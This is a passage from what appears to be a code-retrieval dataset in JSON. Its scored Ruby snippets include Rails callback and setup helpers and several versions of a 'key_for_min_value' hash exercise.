"9efbca664902d80a451ef6cff0334fe2", "score": "0.5561578", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5507942", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504877", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.54678446", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465615", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5447922", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.5445043", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.54408455", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54166174", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54101455", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.54101455", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5400783", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53951085", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.53951085", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.53928316", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53882515", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.5378493", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53563684", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.53487724", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53475606", "text": "def register_action(action); end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.5346719", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.53449047", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341026", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53280306", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.5304286", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5285627", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5280701", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52592444", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.5259056", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.524796", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52446073", "text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.52396107", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237911", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5237911", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.5232248", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.5227526", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.52237874", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52221715", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52199185", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52144027", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213464", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.5209238", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52063036", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.52041465", "text": "def create_setup\n \n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.52032995", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203285", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.52010477", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51944184", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51944184", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5193428", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5179032", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.5177801", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173085", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173085", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.5173085", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5163755", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51540434", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.51432824", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.514179", "text": "def code_action_provider; end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.5139888", "text": "def setup(params)\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.5138596", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5133951", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115057", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113431", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.51112926", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109581", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109581", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5109581", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5106878", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.510421", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.5098929", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.5095888", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5095568", "text": "def add_callbacks(base); end", "title": "" } ]
bd3a7dfddc30bc69012064ac1ec450c4
Given a hash with numeric values, return the key for the smallest value
[ { "docid": "390e7be9ac0d7e42ec6405361029433b", "score": "0.0", "text": "def key_for_min_value(name_hash)\nname = nil \nlowest_valaue = 1050\n name_hash.collect do |key, value|\n if value < lowest_valaue\n lowest_valaue = value \n name = key\n end\n end\nname\nend", "title": "" } ]
[ { "docid": "187165074e32a7573ee53a9cabb44ed4", "score": "0.88816375", "text": "def key_for_min_value(hash)\n lowest_key=nil \n lowest_value= Float::INFINITY\n hash.each do |name,number|\n if number < lowest_value\n lowest_value=number\n lowest_key= name\n end \n end\n lowest_key\nend", "title": "" }, { "docid": "226515ade14f33b0d702f287edd6fe9d", "score": "0.88778263", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "917f353c232d4640614845e6b7c840f9", "score": "0.88537127", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\n end", "title": "" }, { "docid": "10348c0f7efbf074c6402f6f47742839", "score": "0.88230467", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |key, value|\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.877954", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d6c24d339b21831095c887c09768a0a6", "score": "0.877954", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n hash.each do |k, v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "5274f7bbba68cf15df3562d80d7ce3f1", "score": "0.87599367", "text": "def key_for_min_value(hash)\n low_key = nil\n low_val = 0\n hash.each do |key, val|\n if low_val == 0 || val < low_val\n low_val = val\n low_key = key\n end\n end\n low_key\n end", "title": "" }, { "docid": "1cc15f9ecd834daad0140761a4b31ca3", "score": "0.87407583", "text": "def key_for_min_value(hash)\n smallest = nil\n hash.each do |key, value|\n \tsmallest = key if smallest.nil?\n \tsmallest = key if value < hash[smallest]\n end\n smallest\nend", "title": "" }, { "docid": "90c5f24a7f0c6124d8f166cfd4439d06", "score": "0.8684269", "text": "def key_for_min_value(hash)\nlowest_key = nil\nlowest_val = Float::INFINITY\n hash.each do |key, val|\n if val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "d5553af71103c724668cba7fc4393ff5", "score": "0.8610641", "text": "def key_for_min_value(hash)\n value_array = []\n hash.each do |key, value|\n value_array << value\n end\n\n lowest_value = value_array.first\n value_array.each do |value|\n if value < lowest_value\n lowest_value = value\n end\n end\n\n hash.key(lowest_value)\nend", "title": "" }, { "docid": "8a58975f18d4954a20fccb99f6dc9b40", "score": "0.8607602", "text": "def key_for_min_value(num_hash)\n min_value = num_hash.collect{|key, num| num}.sort[0]\n key, num = num_hash.find {|key, num| num == min_value}\n key\nend", "title": "" }, { "docid": "45c7290567499ca3ce034aafdea8b667", "score": "0.8590952", "text": "def key_for_min_value(name_hash)\n lowest_number = Float::INFINITY\n lowest_key = nil\n name_hash.collect do |key, value|\n if value < lowest_number\n lowest_number = value\n lowest_key = key\n end\n end\n lowest_key \nend", "title": "" }, { "docid": "abf68bb16569607b80dedf139280c6d1", "score": "0.85796136", "text": "def key_for_min_value(hash)\n hash.min_by {|k,v| k}\nend", "title": "" }, { "docid": "a12e2b92a2177eaf9075e9e4abaaf51b", "score": "0.85759383", "text": "def key_for_min_value(hash)\n smallest_key = nil\n tiniest_value = nil\n hash.each do |key, value|\n if tiniest_value == nil || value < tiniest_value\n tiniest_value = value\n smallest_key = key\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "d1cf716c45a59a3f1faad1c83f59f7d7", "score": "0.8571527", "text": "def key_for_min_value(hash)\n\tnew_hash = Hash[hash.sort_by{|k,v| v}]\n\tnew_hash.keys.first\nend", "title": "" }, { "docid": "83f467e9815c0a652cb12bacbb080468", "score": "0.8563433", "text": "def key_for_min_value(hash)\n smallest_key = nil\n smallest_value = nil\n\n hash.each do |key, value|\n if smallest_value == nil || value < smallest_value\n smallest_value = value\n smallest_key = key\n end\n end\n return smallest_key\nend", "title": "" }, { "docid": "4350b724f36fef31121f91da1137c1c1", "score": "0.8560811", "text": "def key_for_min_value(hash)\n lowest = 1000000000000000000000\n if hash.empty?\n return nil\n else\n arr = hash.map do |key, value|\n if hash[key] <= lowest\n lowest = hash[key]\n end\n end\n hash.each do |key, value|\n if lowest == hash[key]\n return key\n end\n end\n end\nend", "title": "" }, { "docid": "f76a4cd2274f14f75d352b14c8d29bd1", "score": "0.85455716", "text": "def key_for_min_value(hash)\n if hash.empty?\n return nil\n else\n min_value = Float::INFINITY\n min_key = \"\"\n hash.each do |key, val|\n if val < min_value\n min_value = val\n min_key = key\n end\n end\n end\n min_key\nend", "title": "" }, { "docid": "4f23d7ac240865f09f0b4a3c14bcbc4a", "score": "0.85412455", "text": "def key_for_min_value(hash) \n small_key = nil\n small_value = nil\n hash.each do |a, b|\n if small_value == nil || b < small_value\n small_value = b\n small_key = a\n end\n end \n small_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8532013", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "c6b25d8461cbb575dfa919b8f81a332c", "score": "0.8532013", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |k, v|\n if lowest_value == nil || v < lowest_value\n lowest_value = v\n lowest_key = k\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "fd2efe9fd3810bfa002f7199cf8dab19", "score": "0.8506003", "text": "def key_for_min_value(hash)\n small_val = nil\n small_key = nil\n\n hash.collect do |key, value|\n if small_val == nil || small_val > value\n small_val = value\n small_key = key\n end\n end\n small_key\nend", "title": "" }, { "docid": "fc8481fa0f37bc7cbe43dc4d941b10aa", "score": "0.85056037", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_val = nil\n hash.each do |key, val|\n if lowest_val == nil || val < lowest_val\n lowest_val = val\n lowest_key = key\n end\n end\n lowest_key\n\nend", "title": "" }, { "docid": "cbc05af89f66bfee58f5064b1d205024", "score": "0.84966266", "text": "def key_for_min_value(hash)\n lowest_key = nil\n lowest_value = nil\n hash.each do |key, value|\n if lowest_value == nil || value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "3c6700cbd2ea0361870bd4d85c2db76f", "score": "0.8465447", "text": "def key_for_min_value(hash)\n min_value = nil\n min_key = nil\n\n hash.each do |key, value|\n if min_value == nil || value < min_value\n \tmin_value = value\n \tmin_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "73a5bd3b8b46a6e68dad6296c171f06c", "score": "0.8462817", "text": "def key_for_min_value(hash)\n\tmin = Hash.new\n\tmin_value = 0\n\thash.each_pair do | key, num |\n\t\tif \tmin.empty?\n\t\t\tmin[key] = num\n\t\t\tmin_value = min[key]\n\t\telsif num < min_value\n\t\t\tmin.replace({key => num})\n\t\tend\n\tend\n\tmin.values\nend", "title": "" }, { "docid": "5ced3d13f6443860d99f05be7d515c1b", "score": "0.84603244", "text": "def key_for_min_value(hash_value)\n hash.invert.min&.last\nend", "title": "" }, { "docid": "b8ab4fe1e885b44f703fa1fa6f07a509", "score": "0.84555566", "text": "def key_for_min_value(hash)\n if hash.length == 0\n return\n end\n min = hash.first[1]\n min_key = hash.first[0]\n hash.each do |key, value|\n if value < min \n min = value\n min_key = key\n end\n end\n min_key\nend", "title": "" }, { "docid": "35891c2372ee9459348a913a0898da90", "score": "0.8448134", "text": "def key_for_min_value(hash)\n ref = nil\n answer = nil\n hash.each do |key, value|\n if ref == nil || value < ref\n ref = value\n answer = key\n end\n end\n answer\nend", "title": "" }, { "docid": "3be616dbcc198bab000a36f9482a9e25", "score": "0.8445639", "text": "def key_for_min_value(name_hash)\n\tlowest_int = 9999999999999\n\tlowest_int_key = nil\n\tname_hash.each do |key, value|\n\t\tif value < lowest_int\n\t\t\tlowest_int = value\n\t\t\tlowest_int_key = key\n\t\tend\n\tend\n\treturn lowest_int_key\nend", "title": "" }, { "docid": "5931a9b151f13dba8e800b2da35f4657", "score": "0.8445278", "text": "def key_for_min_value(hash)\n least = hash.reduce do |key, value|\n key.last > value.last ? value : key\n end \n if hash == {}\n least\n else\n least.first\n end\n end", "title": "" }, { "docid": "2d02c97195dd4c65890a5bf73a5eaaac", "score": "0.8436727", "text": "def key_for_min_value(hash)\nsmall_val=999999\nsmall_key= nil\n hash.each do |key, value|\n if value < small_val\n small_val = value \n small_key = key \n \n end\n end\n return small_key\nend", "title": "" }, { "docid": "68c083b336f4655607cd05a6f4ce1e7b", "score": "0.84355575", "text": "def key_for_min_value(name_hash)\n smallest = nil\n smallest_key = nil\n if name_hash.empty?\n return smallest_key\n else\n name_hash.each do |key, number|\n if smallest == nil\n smallest = number\n smallest_key = key\n elsif number <= smallest\n smallest = number\n smallest_key = key\n else\n smallest_key\n end\n end\n end\n smallest_key\nend", "title": "" }, { "docid": "99dc179f590c57b51993ee5538a0dec3", "score": "0.84332955", "text": "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n return_key = nil\n smallest = Float::INFINITY\n name_hash.each do |key, value|\n if value.to_i < smallest\n smallest = value.to_i\n return_key = key\n end\n end\n return_key\nend", "title": "" }, { "docid": "7341ca23ed68b4691dab2252b518b7a1", "score": "0.84307843", "text": "def key_for_min_value(hash)\n smallest_name = nil\n smallest_number = nil\n hash.each do |name, number|\n if smallest_number == nil || number < smallest_number\n smallest_number = number\n smallest_name = name\n end\n end\n smallest_name\nend", "title": "" }, { "docid": "020830f22425fece3b77fc5e8838f5cb", "score": "0.84283614", "text": "def key_for_min_value(hash)\n if hash == {}\n return nil\n else\n key_array = []\n value_array = []\n\n hash.each do |name, value|\n key_array << name\n value_array << value\n end\n\n i = 0\n smallest = value_array[0]\n\n value_array.each_with_index do |value, index|\n if value < smallest\n smallest = value\n i = index\n end\n end\n\n return key_array[i]\n end\nend", "title": "" }, { "docid": "46cb8698c6271a1cc374219528e87211", "score": "0.84272677", "text": "def key_for_min_value(hash)\n low_key = nil\n hash.each do |key, value|\n if low_key == nil || (low_key != nil && value < hash[low_key])\n low_key = key\n end\n end\n low_key\nend", "title": "" }, { "docid": "f0b4fe84074d3b429486583cb056e941", "score": "0.84189093", "text": "def key_for_min_value(hash)\n return nil if hash == {}\n ks = hash.map{|k, v| k}\n vs = hash.map{|k, v| v}\n min_index = vs.index(vs.min)\n ks[min_index]\nend", "title": "" }, { "docid": "8ea89fee2b9b053283cd67f01b4bd116", "score": "0.84140635", "text": "def key_for_min_value(hash)\n\n smallest = hash.collect {|key, value| value}\n smallest = smallest.min\n\n output = nil\n hash.each do |key, val|\n if val==smallest\n output=key\n end\n end\n output\nend", "title": "" }, { "docid": "c82d264affee3c7aeee4771c0c2138ee", "score": "0.8410216", "text": "def key_for_min_value(hash)\n i = 0\n min = 0\n min_key = nil\n hash.each do |key, value|\n unless i > 0\n min = value\n min_key = key\n end\n if min > value\n min = value\n min_key = key\n end\n i += 1\n end\n min_key\nend", "title": "" }, { "docid": "769884cf17d9db6fbb75b9316ca174d7", "score": "0.84025115", "text": "def key_for_min_value(hash)\n return nil if hash.size == 0\n min = hash.first\n hash.each {|k, v| v <= min[1] ? min = [k, v] : nil}\n min[0]\nend", "title": "" }, { "docid": "c45c181efc7de1e218dc24ac2734e986", "score": "0.8398137", "text": "def key_for_min_value(name_hash)\n return nil if name_hash.size == 0\n numbers = name_hash.collect {|name, number| number}\n lowest_key = \"\"\n lowest_num = numbers[0]\n name_hash.each do|name, num|\n if num <= lowest_num\n lowest_key = name\n lowest_num = num\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "9fe8fd05d03cff6f26dd4fea5eead4d5", "score": "0.83938557", "text": "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.collect do |word, num|\n if num < lowest_value\n lowest_value = num\n lowest_key = word\n end\n end\n lowest_key\nend", "title": "" }, { "docid": "5bf622df6f77ac34ecf5b2b18a63645a", "score": "0.83931065", "text": "def key_for_min_value(hash)\nlowest_k = nil\nlowest_v = nil\nhash.each do |k, v|\n if lowest_v == nil || v < lowest_v\n lowest_v = v\n lowest_k = k\n end\n end\n lowest_k\n end", "title": "" }, { "docid": "f7db41a1cd50a93ab7a3e5aa0633e7ed", "score": "0.8392662", "text": "def key_for_min_value(hash)\n return nil if hash.empty?\n min_value_key = nil\n min_value = (2**(0.size * 8 -2) -1) #Theorectical Fixnum_max \n #http://stackoverflow.com/questions/535721/ruby-max-integer\n hash.each do |key, value|\n \tif value < min_value\n \t\tmin_value_key = key \n \t\tmin_value = value\n \tend\n end\n min_value_key\nend", "title": "" }, { "docid": "4eaac21f353e79687cc22e2dc77383ce", "score": "0.83874226", "text": "def key_for_min_value(hash)\n return nil if hash.empty? == true\n minimum = [nil, Float::INFINITY]\n hash.each do |key, value|\n if value < minimum[1]\n minimum = [key, value]\n end \n end\n minimum[0]\nend", "title": "" }, { "docid": 